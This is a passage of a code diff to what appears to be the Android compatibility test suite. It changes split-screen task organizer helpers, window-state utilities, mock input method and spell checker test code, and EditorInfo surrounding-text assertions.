+    void setLaunchRoot(int taskId) {
+        NestedShellPermission.run(() -> {
+            synchronized (this) {
+                final WindowContainerTransaction t = new WindowContainerTransaction()
+                        .setLaunchRoot(mKnownTasks.get(taskId).getToken(),
+                                CONTROLLED_WINDOWING_MODES, CONTROLLED_ACTIVITY_TYPES);
+                applyTransaction(t);
+            }
+        });
+    }
+
+    void dismissedSplitScreen() {
+        synchronized (this) {
+            NestedShellPermission.run(() -> {
+                final WindowContainerTransaction t = new WindowContainerTransaction()
+                        .setLaunchRoot(
+                                mRootPrimary.getToken(),
+                                null,
+                                null)
+                        .setLaunchRoot(
+                                mRootSecondary.getToken(),
+                                null,
+                                null)
+                        .reparentTasks(
+                                mRootPrimary.getToken(),
+                                null /* newParent */,
+                                CONTROLLED_WINDOWING_MODES,
+                                CONTROLLED_ACTIVITY_TYPES,
+                                true /* onTop */)
+                        .reparentTasks(
+                                mRootSecondary.getToken(),
+                                null /* newParent */,
+                                CONTROLLED_WINDOWING_MODES,
+                                CONTROLLED_ACTIVITY_TYPES,
+                                true /* onTop */);
+                applyTransaction(t);
+            });
         }
-        // Move the secondary split-forward.
-        t.reorder(mRootSecondary.getToken(), true /* onTop */);
-        applyTransaction(t);
+    }
+
+    void setRootPrimaryTaskBounds(Rect bounds) {
+        setTaskBounds(mRootPrimary.getToken(), bounds);
+    }
+
+    void setRootSecondaryTaskBounds(Rect bounds) {
+        setTaskBounds(mRootSecondary.getToken(), bounds);
+    }
+
+    private void setTaskBounds(WindowContainerToken container, Rect bounds) {
+        synchronized (this) {
+            NestedShellPermission.run(() -> {
+                final WindowContainerTransaction t = new WindowContainerTransaction()
+                        .setBounds(container, bounds);
+                applyTransaction(t);
+            });
+        }
+    }
+
+    int getPrimarySplitTaskCount() {
+        return mPrimaryChildrenTaskIds.size();
+    }
+
+    int getSecondarySplitTaskCount() {
+        return mSecondaryChildrenTaskIds.size();
+    }
+
+    int getPrimarySplitTaskId() {
+        return mRootPrimary != null ? mRootPrimary.taskId : INVALID_TASK_ID;
+    }
+
+    int getSecondarySplitTaskId() {
+        return mRootSecondary != null ? mRootSecondary.taskId : INVALID_TASK_ID;
     }
 
     ActivityManager.RunningTaskInfo getTaskInfo(int taskId) {
-        ActivityManager.RunningTaskInfo taskInfo = mKnownTasks.get(taskId);
-        if (taskInfo != null) return taskInfo;
+        synchronized (this) {
+            ActivityManager.RunningTaskInfo taskInfo = mKnownTasks.get(taskId);
+            if (taskInfo != null) return taskInfo;
 
-        final List<ActivityManager.RunningTaskInfo> rootTasks = getRootTasks(DEFAULT_DISPLAY, null);
-        for (ActivityManager.RunningTaskInfo info : rootTasks) {
-            addTask(info);
+            final List<ActivityManager.RunningTaskInfo> rootTasks = getRootTasks(DEFAULT_DISPLAY,
+                    null);
+            for (ActivityManager.RunningTaskInfo info : rootTasks) {
+                addTask(info);
+            }
+
+            return mKnownTasks.get(taskId);
         }
-
-        return mKnownTasks.get(taskId);
     }
 
     @Override
     public void onTaskAppeared(@NonNull ActivityManager.RunningTaskInfo taskInfo,
             SurfaceControl leash) {
-        if (taskInfo.hasParentTask()) {
-            // Tasks with parent created by organizer are also organized now, update the surface as
-            // well to prevent timeout tests when polling for Activity#hasWindowFocus.
+        synchronized (this) {
             SurfaceControl.Transaction t = new SurfaceControl.Transaction();
             t.setVisibility(leash, true /* visible */);
             t.apply();
+
+            NestedShellPermission.run(() -> addTask(taskInfo));
         }
-        NestedShellPermission.run(() -> addTask(taskInfo));
     }
 
     @Override
     public void onTaskVanished(@NonNull ActivityManager.RunningTaskInfo taskInfo) {
-        removeTask(taskInfo);
+        synchronized (this) {
+            removeTask(taskInfo);
+        }
     }
 
     @Override
     public void onTaskInfoChanged(ActivityManager.RunningTaskInfo taskInfo) {
-        NestedShellPermission.run(() -> addTask(taskInfo));
+        synchronized (this) {
+            NestedShellPermission.run(() -> addTask(taskInfo));
+        }
     }
 
     private void addTask(ActivityManager.RunningTaskInfo taskInfo) {
         mKnownTasks.put(taskInfo.taskId, taskInfo);
+        notifyAll();
+        if (taskInfo.hasParentTask()){
+            if (mRootPrimary != null
+                    && mRootPrimary.taskId == taskInfo.getParentTaskId()) {
+                mPrimaryChildrenTaskIds.add(taskInfo.taskId);
+            } else if (mRootSecondary != null
+                    && mRootSecondary.taskId == taskInfo.getParentTaskId()) {
+                mSecondaryChildrenTaskIds.add(taskInfo.taskId);
+            }
+            return;
+        }
 
-        final int windowingMode =
-                taskInfo.getConfiguration().windowConfiguration.getWindowingMode();
-        if (windowingMode == WINDOWING_MODE_SPLIT_SCREEN_PRIMARY
-                && (mRootPrimary == null || mRootPrimary.taskId == taskInfo.taskId)) {
+        if (mRootPrimary == null
+                && mPrimaryCookie != null
+                && taskInfo.containsLaunchCookie(mPrimaryCookie)) {
             mRootPrimary = taskInfo;
-            processRootPrimaryTaskInfoChanged();
-            addChildTasks(taskInfo);
+            return;
         }
 
-        if (windowingMode == WINDOWING_MODE_SPLIT_SCREEN_SECONDARY
-                && (mRootSecondary == null || mRootSecondary.taskId == taskInfo.taskId)) {
+        if (mRootSecondary == null
+                && mSecondaryCookie != null
+                && taskInfo.containsLaunchCookie(mSecondaryCookie)) {
             mRootSecondary = taskInfo;
-            addChildTasks(taskInfo);
-        }
-    }
-
-    private void addChildTasks(ActivityManager.RunningTaskInfo taskInfo) {
-        List<ActivityManager.RunningTaskInfo> children =
-                getChildTasks(taskInfo.getToken(), null /* activityTypes */);
-        for (ActivityManager.RunningTaskInfo child : children) {
-            mKnownTasks.put(child.taskId, child);
         }
     }
 
     private void removeTask(ActivityManager.RunningTaskInfo taskInfo) {
         final int taskId = taskInfo.taskId;
         // ignores cleanup on duplicated removal request
-        if (mKnownTasks.remove(taskId) != null) {
-            if (mRootPrimary != null && taskId == mRootPrimary.taskId) mRootPrimary = null;
-            if (mRootSecondary != null && taskId == mRootSecondary.taskId) mRootSecondary = null;
+        if (mKnownTasks.remove(taskId) == null) {
+            return;
+        }
+        mPrimaryChildrenTaskIds.remove(taskId);
+        mSecondaryChildrenTaskIds.remove(taskId);
+
+        if ((mRootPrimary != null && taskId == mRootPrimary.taskId)
+                || (mRootSecondary != null && taskId == mRootSecondary.taskId)) {
+            unregisterOrganizerIfNeeded();
         }
     }
 }
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
index 1170608..7130b9c 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
@@ -375,9 +375,7 @@
         for (int i = 0; i < display.mRootTasks.size(); i++) {
             ActivityTask task = display.mRootTasks.get(i);
             mRootTasks.add(task);
-            if (task.mResumedActivity != null) {
-                mResumedActivitiesInStacks.add(task.mResumedActivity);
-            }
+            addResumedActivity(task);
         }
 
         if (display.mDefaultPinnedStackBounds != null) {
@@ -386,6 +384,17 @@
         }
     }
 
+    private void addResumedActivity(ActivityTask task) {
+        final int numChildTasks = task.mTasks.size();
+        if (numChildTasks > 0) {
+            for (int i = numChildTasks - 1; i >=0; i--) {
+                addResumedActivity(task.mTasks.get(i));
+            }
+        } else if (task.mResumedActivity != null) {
+            mResumedActivitiesInStacks.add(task.mResumedActivity);
+        }
+    }
+
     private void parseSysDumpProto(byte[] sysDump) throws InvalidProtocolBufferNanoException {
         reset();
 
@@ -816,14 +825,19 @@
     }
 
     public ActivityTask getTaskByActivity(ComponentName activityName) {
-        return getTaskByActivity(activityName, WINDOWING_MODE_UNDEFINED);
+        return getTaskByActivity(activityName, WINDOWING_MODE_UNDEFINED, -1);
     }
 
-    public ActivityTask getTaskByActivity(ComponentName activityName, int windowingMode) {
+    public ActivityTask getTaskByActivity(ComponentName activityName, int excludeTaskId) {
+        return getTaskByActivity(activityName, WINDOWING_MODE_UNDEFINED, excludeTaskId);
+    }
+
+    private ActivityTask getTaskByActivity(ComponentName activityName, int windowingMode,
+            int excludeTaskId) {
         for (ActivityTask stack : mRootTasks) {
             if (windowingMode == WINDOWING_MODE_UNDEFINED
                     || windowingMode == stack.getWindowingMode()) {
-                Activity activity = stack.getActivity(activityName);
+                Activity activity = stack.getActivity(activityName, excludeTaskId);
                 if (activity != null) return activity.task;
             }
         }
@@ -1303,6 +1317,10 @@
             return mTaskId == mRootTaskId;
         }
 
+        boolean isLeafTask() {
+            return mTasks.size() == 0;
+        }
+
         public int getRootTaskId() {
             return mRootTaskId;
         }
@@ -1368,6 +1386,13 @@
             return getActivity((activity) -> activity.name.equals(fullName));
         }
 
+        public Activity getActivity(ComponentName activityName, int excludeTaskId) {
+            final String fullName = getActivityName(activityName);
+            return getActivity((activity) ->
+                    activity.task.mTaskId != excludeTaskId
+                            && activity.name.equals(fullName));
+        }
+
         boolean containsActivity(ComponentName activityName) {
             return getActivity(activityName) != null;
         }
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
index 99f6bb2..2f809b2 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
@@ -295,6 +295,12 @@
         }, windowName + "'s surface is disappeared");
     }
 
+    void waitAndAssertWindowSurfaceShown(String windowName, boolean shown) {
+        assertTrue(
+                waitForWithAmState(state -> state.isWindowSurfaceShown(windowName) == shown,
+                        windowName + "'s  isWindowSurfaceShown to return " + shown));
+    }
+
     /** A variant of waitForWithAmState with different parameter order for better Kotlin interop. */
     public boolean waitForWithAmState(String message, Predicate<WindowManagerState> waitCondition) {
         return waitForWithAmState(waitCondition, message);
diff --git a/tests/inputmethod/AndroidTest.xml b/tests/inputmethod/AndroidTest.xml
index ab81fd4..10e5d37 100644
--- a/tests/inputmethod/AndroidTest.xml
+++ b/tests/inputmethod/AndroidTest.xml
@@ -79,10 +79,10 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsInputMethodTestCases.apk" />
     </target_preparer>
+    <!-- Enabling change id ALLOW_TEST_API_ACCESS allows that package to access @TestApi methods -->
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-      <!-- Disable hidden API checking, see b/166236554 -->
-        <option name="run-command" value="settings put global hidden_api_policy 1" />
-        <option name="teardown-command" value="settings delete global hidden_api_policy" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS com.android.cts.mockime"  />
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS com.android.cts.mockime" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.view.inputmethod.cts" />
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
index 28f5c5a..5f88d27 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
@@ -25,7 +25,6 @@
 
 import java.util.Optional;
 import java.util.concurrent.TimeoutException;
-import java.util.function.BooleanSupplier;
 import java.util.function.Predicate;
 
 /**
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
index 21f1dc5..01e4a82 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
@@ -259,6 +259,9 @@
                         final boolean enabled = command.getExtras().getBoolean("enabled");
                         return getCurrentInputConnection().reportFullscreenMode(enabled);
                     }
+                    case "performSpellCheck": {
+                        return getCurrentInputConnection().performSpellCheck();
+                    }
                     case "performPrivateCommand": {
                         final String action = command.getExtras().getString("action");
                         final Bundle data = command.getExtras().getBundle("data");
@@ -468,7 +471,7 @@
                             .detectIncorrectContextUse()
                             .penaltyLog()
                             .penaltyListener(Runnable::run,
-                                    v -> getTracer().onStrictModeViolated(() -> {}))
+                                    v -> getTracer().onStrictModeViolated(() -> { }))
                             .build());
         }
 
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
index 40a89a3..56d798f 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
@@ -20,19 +20,16 @@
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
-import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
 import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
 
 import android.app.UiAutomation;
 import android.app.compat.CompatChanges;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
-import android.content.ContentResolver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.content.pm.PackageManager;
-import android.inputmethodservice.InputMethodService;
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.HandlerThread;
@@ -769,6 +766,20 @@
     }
 
     /**
+     * Lets {@link MockIme} to call {@link InputConnection#performSpellCheck()}.
+     *
+     * <p>This triggers {@code getCurrentInputConnection().performSpellCheck()}.</p>
+     *
+     * @return {@link ImeCommand} object that can be passed to
+     *         {@link ImeEventStreamTestUtils#expectCommand(ImeEventStream, ImeCommand, long)} to
+     *         wait until this event is handled by {@link MockIme}
+     */
+    @NonNull
+    public ImeCommand callPerformSpellCheck() {
+        return callCommandInternal("performSpellCheck", new Bundle());
+    }
+
+    /**
      * Lets {@link MockIme} to call {@link InputConnection#clearMetaKeyStates(int)} with the given
      * parameters.
      *
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java
index 144eee0..b1d8554 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java
@@ -17,6 +17,7 @@
 package com.android.cts.mockime;
 
 import android.graphics.Bitmap;
+import android.graphics.Color;
 
 import androidx.annotation.AnyThread;
 import androidx.annotation.ColorInt;
@@ -28,6 +29,13 @@
  */
 public final class Watermark {
     /**
+     * Tolerance level between the expected color and the actual color in each color channel.
+     *
+     * <p>See Bug 174534092 about why we ended up having this.</p>
+     */
+    private static final int TOLERANCE = 4;
+
+    /**
      * A utility class that represents A8R8G8B bitmap as an integer array.
      */
     private static final class BitmapImage {
@@ -96,15 +104,30 @@
         }
 
         /**
-         * Checks if the same image can be found in the specified {@link BitmapImage}
+         * Compares two given pixels to determine whether those two pixels are considered to be
+         * the same within {@link #TOLERANCE}.
+         *
+         * @param lhs a color integer to be compared.
+         * @param rhs another color integer to be compared.
+         * @return {@true} if two given pixels are the same within {@link #TOLERANCE}.
+         */
+        private static boolean robustMatchInternal(@ColorInt int lhs, @ColorInt int rhs) {
+            return lhs == rhs || (Math.abs(Color.red(lhs) - Color.red(rhs)) <= TOLERANCE
+                    && Math.abs(Color.green(lhs) - Color.green(rhs)) <= TOLERANCE
+                    && Math.abs(Color.blue(lhs) - Color.blue(rhs)) <= TOLERANCE);
+        }
+
+        /**
+         * Checks if the same image can be found in the specified {@link BitmapImage} within
+         * within {@link #TOLERANCE}.
          *
          * @param targetImage {@link BitmapImage} to be checked.
          * @param offsetX X offset in the {@code targetImage} used when comparing.
          * @param offsetY Y offset in the {@code targetImage} used when comparing.
-         * @return
+         * @return {@true} if two given images are the same within {@link #TOLERANCE}.
          */
         @AnyThread
-        boolean match(@NonNull BitmapImage targetImage, int offsetX, int offsetY) {
+        boolean robustMatch(@NonNull BitmapImage targetImage, int offsetX, int offsetY) {
             final int targetWidth = targetImage.getWidth();
             final int targetHeight = targetImage.getHeight();
 
@@ -118,7 +141,8 @@
                     if (targetY < 0 || targetHeight <= targetY) {
                         return false;
                     }
-                    if (targetImage.getPixel(targetX, targetY) != getPixel(x, y)) {
+                    if (!robustMatchInternal(
+                            targetImage.getPixel(targetX, targetY), getPixel(x, y))) {
                         return false;
                     }
                 }
@@ -231,7 +255,7 @@
         // Search from the bottom line with an assumption that the IME is shown at the bottom.
         for (int offsetY = targetImage.getHeight() - 1; offsetY >= 0; --offsetY) {
             for (int offsetX = 0; offsetX < targetImage.getWidth(); ++offsetX) {
-                if (sImage.match(targetImage, offsetX, offsetY)) {
+                if (sImage.robustMatch(targetImage, offsetX, offsetY)) {
                     return true;
                 }
             }
diff --git a/tests/inputmethod/mockspellchecker/res/xml/spellchecker.xml b/tests/inputmethod/mockspellchecker/res/xml/spellchecker.xml
index 8820f29..18f96ada 100644
--- a/tests/inputmethod/mockspellchecker/res/xml/spellchecker.xml
+++ b/tests/inputmethod/mockspellchecker/res/xml/spellchecker.xml
@@ -20,5 +20,6 @@
     <subtype
         android:label="English"
         android:subtypeLocale="en"
+        android:languageTag="en-US"
     />
 </spell-checker>
diff --git a/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/MockSpellChecker.kt b/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/MockSpellChecker.kt
index ee16ce4..f013021 100644
--- a/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/MockSpellChecker.kt
+++ b/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/MockSpellChecker.kt
@@ -45,14 +45,10 @@
     }
 
     override fun createSession(): Session = withLog("MockSpellChecker.createSession") {
-        val configuration = MockSpellCheckerConfiguration.parseFrom(
-                SharedPrefsProvider.get(contentResolver, KEY_CONFIGURATION))
-        return MockSpellCheckerSession(configuration)
+        return MockSpellCheckerSession()
     }
 
-    private inner class MockSpellCheckerSession(
-        val configuration: MockSpellCheckerConfiguration
-    ) : SpellCheckerService.Session() {
+    private inner class MockSpellCheckerSession : SpellCheckerService.Session() {
 
         override fun onCreate() = withLog("MockSpellCheckerSession.onCreate") {
         }
@@ -63,6 +59,8 @@
         ): SuggestionsInfo = withLog(
             "MockSpellCheckerSession.onGetSuggestions: ${textInfo?.text}") {
             if (textInfo == null) return emptySuggestionsInfo()
+            val configuration = MockSpellCheckerConfiguration.parseFrom(
+                    SharedPrefsProvider.get(contentResolver, KEY_CONFIGURATION))
             return configuration.suggestionRulesList
                     .find { it.match == textInfo.text }
                     ?.let { SuggestionsInfo(it.attributes, it.suggestionsList.toTypedArray()) }
diff --git a/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/MockSpellCheckerClient.kt b/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/MockSpellCheckerClient.kt
index 90c9fd5..00aef45 100644
--- a/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/MockSpellCheckerClient.kt
+++ b/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/MockSpellCheckerClient.kt
@@ -23,13 +23,9 @@
  *
  * <p>This class should be used by test apps.
  */
-class MockSpellCheckerClient(
-    private val context: Context,
-    private val configuration: MockSpellCheckerConfiguration
-)
-    : AutoCloseable {
+class MockSpellCheckerClient(private val context: Context) : AutoCloseable {
 
-    fun initialize() {
+    fun updateConfiguration(configuration: MockSpellCheckerConfiguration) {
         SharedPrefsProvider.put(
                 context.contentResolver, KEY_CONFIGURATION, configuration.toByteArray())
     }
@@ -42,8 +38,8 @@
         @JvmStatic
         fun create(context: Context, configuration: MockSpellCheckerConfiguration):
                 MockSpellCheckerClient {
-            val client = MockSpellCheckerClient(context, configuration)
-            client.initialize()
+            val client = MockSpellCheckerClient(context)
+            client.updateConfiguration(configuration)
             return client
         }
     }
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/EditorInfoTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/EditorInfoTest.java
index 0492189..69c4111 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/EditorInfoTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/EditorInfoTest.java
@@ -18,6 +18,7 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
@@ -31,6 +32,7 @@
 import android.util.StringBuilderPrinter;
 import android.view.inputmethod.EditorInfo;
 import android.view.inputmethod.InputConnection;
+import android.view.inputmethod.SurroundingText;
 
 import androidx.test.filters.SmallTest;
 import androidx.test.runner.AndroidJUnit4;
@@ -91,7 +93,7 @@
         assertEquals(info.inputType, targetInfo.inputType);
         assertEquals(info.packageName, targetInfo.packageName);
         assertEquals(info.privateImeOptions, targetInfo.privateImeOptions);
-        assertTrue(TextUtils.equals(testInitialText, concateInitialSurroundingText(targetInfo)));
+        assertTrue(TextUtils.equals(testInitialText, concatInitialSurroundingText(targetInfo)));
         assertEquals(info.hintText.toString(), targetInfo.hintText.toString());
         assertEquals(info.actionLabel.toString(), targetInfo.actionLabel.toString());
         assertEquals(info.label.toString(), targetInfo.label.toString());
@@ -147,7 +149,8 @@
         assertExpectedTextLength(info,
                 /* expectBeforeCursorLength= */null,
                 /* expectSelectionLength= */null,
-                /* expectAfterCursorLength= */null);
+                /* expectAfterCursorLength= */null,
+                /* expectSurroundingText= */null);
 
         // Web password type
         info.inputType = (EditorInfo.TYPE_CLASS_TEXT | EditorInfo.TYPE_TEXT_VARIATION_WEB_PASSWORD);
@@ -157,7 +160,8 @@
         assertExpectedTextLength(info,
                 /* expectBeforeCursorLength= */null,
                 /* expectSelectionLength= */null,
-                /* expectAfterCursorLength= */null);
+                /* expectAfterCursorLength= */null,
+                /* expectSurroundingText= */null);
 
         // Number password type
         info.inputType = (EditorInfo.TYPE_CLASS_NUMBER | EditorInfo.TYPE_NUMBER_VARIATION_PASSWORD);
@@ -167,7 +171,8 @@
         assertExpectedTextLength(info,
                 /* expectBeforeCursorLength= */null,
                 /* expectSelectionLength= */null,
-                /* expectAfterCursorLength= */null);
+                /* expectAfterCursorLength= */null,
+                /* expectSurroundingText= */null);
     }
 
     @Test
@@ -179,11 +184,13 @@
         info.initialSelEnd = info.initialSelStart + selLength;
         final int expectedTextBeforeCursorLength = 0;
         final int expectedTextAfterCursorLength = testText.length() - selLength;
+        final SurroundingText expectedSurroundingText =
+                new SurroundingText(testText, info.initialSelStart, info.initialSelEnd, 0);
 
         info.setInitialSurroundingText(testText);
 
         assertExpectedTextLength(info, expectedTextBeforeCursorLength, selLength,
-                expectedTextAfterCursorLength);
+                expectedTextAfterCursorLength, expectedSurroundingText);
     }
 
     @Test
@@ -195,11 +202,13 @@
         info.initialSelEnd = testText.length();
         final int expectedTextBeforeCursorLength = testText.length() - selLength;
         final int expectedTextAfterCursorLength = 0;
+        final SurroundingText expectedSurroundingText =
+                new SurroundingText(testText, info.initialSelStart, info.initialSelEnd, 0);
 
         info.setInitialSurroundingText(testText);
 
         assertExpectedTextLength(info, expectedTextBeforeCursorLength, selLength,
-                expectedTextAfterCursorLength);
+                expectedTextAfterCursorLength, expectedSurroundingText);
     }
 
     @Test
@@ -211,15 +220,17 @@
         info.initialSelEnd = info.initialSelStart + selLength;
         final int expectedTextBeforeCursorLength = 0;
         final int expectedTextAfterCursorLength = testText.length();
+        final SurroundingText expectedSurroundingText =
+                new SurroundingText(testText, info.initialSelStart, info.initialSelEnd, 0);
 
         info.setInitialSurroundingText(testText);
 
         assertExpectedTextLength(info, expectedTextBeforeCursorLength, selLength,
-                expectedTextAfterCursorLength);
+                expectedTextAfterCursorLength, expectedSurroundingText);
     }
 
     @Test
-    public void testInitialSurroundingText_overSizedSeleciton_keepsBeforeAfterTextValid() {
+    public void testInitialSurroundingText_overSizedSelection_keepsBeforeAfterTextValid() {
         final EditorInfo info = new EditorInfo();
         final CharSequence testText = createTestText(OVER_SIZED_TEXT_LENGTH);
         final int selLength = OVER_SIZED_TEXT_LENGTH - 2;
@@ -227,11 +238,21 @@
         info.initialSelEnd = info.initialSelStart + selLength;
         final int expectedTextBeforeCursorLength = 1;
         final int expectedTextAfterCursorLength = 1;
+        final int offset = info.initialSelStart - expectedTextBeforeCursorLength;
+        final CharSequence beforeCursor = testText.subSequence(offset,
+                offset + expectedTextBeforeCursorLength);
+        final CharSequence afterCursor = testText.subSequence(info.initialSelEnd,
+                testText.length());
+        final CharSequence surroundingText = TextUtils.concat(beforeCursor, afterCursor);
+        final SurroundingText expectedSurroundingText =
+                new SurroundingText(surroundingText, info.initialSelStart, info.initialSelStart, 0);
 
         info.setInitialSurroundingText(testText);
 
         assertExpectedTextLength(info, expectedTextBeforeCursorLength,
-                /* expectSelectionLength= */null, expectedTextAfterCursorLength);
+                /* expectSelectionLength= */null, expectedTextAfterCursorLength,
+                expectedSurroundingText);
+
     }
 
     @Test
@@ -250,6 +271,12 @@
         final CharSequence expectedTextAfterCursor = createExpectedText(
                 info.initialSelEnd - prefixString.length(),
                 originalText.length() - info.initialSelEnd);
+        final SurroundingText expectedSurroundingText = new SurroundingText(
+                TextUtils.concat(expectedTextBeforeCursor, expectedSelectedText,
+                        expectedTextAfterCursor),
+                info.initialSelStart - prefixString.length(),
+                info.initialSelStart - prefixString.length() + selLength,
+                prefixString.length());
 
         info.setInitialSurroundingSubText(subText, prefixString.length());
 
@@ -261,11 +288,21 @@
         assertTrue(TextUtils.equals(expectedTextAfterCursor,
                 info.getInitialTextAfterCursor(REQUEST_LONGEST_AVAILABLE_TEXT,
                         InputConnection.GET_TEXT_WITH_STYLES)));
+        SurroundingText surroundingText = info.getInitialSurroundingText(
+                REQUEST_LONGEST_AVAILABLE_TEXT,
+                REQUEST_LONGEST_AVAILABLE_TEXT,
+                InputConnection.GET_TEXT_WITH_STYLES);
+        assertNotNull(surroundingText);
+        assertTrue(TextUtils.equals(expectedSurroundingText.getText(), surroundingText.getText()));
+        assertEquals(expectedSurroundingText.getSelectionStart(),
+                surroundingText.getSelectionStart());
+        assertEquals(expectedSurroundingText.getSelectionEnd(), surroundingText.getSelectionEnd());
     }
 
     private static void assertExpectedTextLength(EditorInfo editorInfo,
             Integer expectBeforeCursorLength, Integer expectSelectionLength,
-            Integer expectAfterCursorLength) {
+            Integer expectAfterCursorLength,
+            SurroundingText expectSurroundingText) {
         final CharSequence textBeforeCursor =
                 editorInfo.getInitialTextBeforeCursor(REQUEST_LONGEST_AVAILABLE_TEXT,
                         InputConnection.GET_TEXT_WITH_STYLES);
@@ -274,6 +311,10 @@
         final CharSequence textAfterCursor =
                 editorInfo.getInitialTextAfterCursor(REQUEST_LONGEST_AVAILABLE_TEXT,
                         InputConnection.GET_TEXT_WITH_STYLES);
+        final SurroundingText surroundingText = editorInfo.getInitialSurroundingText(
+                REQUEST_LONGEST_AVAILABLE_TEXT,
+                REQUEST_LONGEST_AVAILABLE_TEXT,
+                InputConnection.GET_TEXT_WITH_STYLES);
 
         if (expectBeforeCursorLength == null) {
             assertNull(textBeforeCursor);
@@ -292,6 +333,18 @@
         } else {
             assertEquals(expectAfterCursorLength.intValue(), textAfterCursor.length());
         }
+
+        if (expectSurroundingText == null) {
+            assertNull(surroundingText);
+        } else {
+            assertTrue(TextUtils.equals(
+                    expectSurroundingText.getText(), surroundingText.getText()));
+            assertEquals(expectSurroundingText.getSelectionStart(),
+                    surroundingText.getSelectionStart());
+            assertEquals(expectSurroundingText.getSelectionEnd(),
+                    surroundingText.getSelectionEnd());
+            assertEquals(expectSurroundingText.getOffset(), surroundingText.getOffset());
+        }
     }
 
     private static CharSequence createTestText(int size) {
@@ -310,7 +363,7 @@
         return builder;
     }
 
-    private static CharSequence concateInitialSurroundingText(EditorInfo info) {
+    private static CharSequence concatInitialSurroundingText(EditorInfo info) {
         final CharSequence textBeforeCursor =
                 nullToEmpty(info.getInitialTextBeforeCursor(REQUEST_LONGEST_AVAILABLE_TEXT,
                         InputConnection.GET_TEXT_WITH_STYLES));
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
index 116e8a9..febccb7 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
@@ -513,6 +513,7 @@
 
     @AppModeFull(reason = "Instant apps cannot hold android.permission.SYSTEM_ALERT_WINDOW")
     @Test
+    @FlakyTest(bugId = 176926757)
     public void testMultiWindowFocusHandleOnDifferentUiThread() throws Exception {
         final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
         try (CloseOnce session = CloseOnce.of(new ServiceSession(instrumentation.getContext()));
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsControllerTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsControllerTest.java
index dd8d070..30300f7 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsControllerTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsControllerTest.java
@@ -211,7 +211,7 @@
     }
 
     private int getBottomOfWindow(View decorView) {
-        int viewPos[] = new int[2];
+        final int[] viewPos = new int[2];
         decorView.getLocationOnScreen(viewPos);
         return decorView.getHeight() + viewPos[1];
     }
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java
index 6656d42..033a471 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java
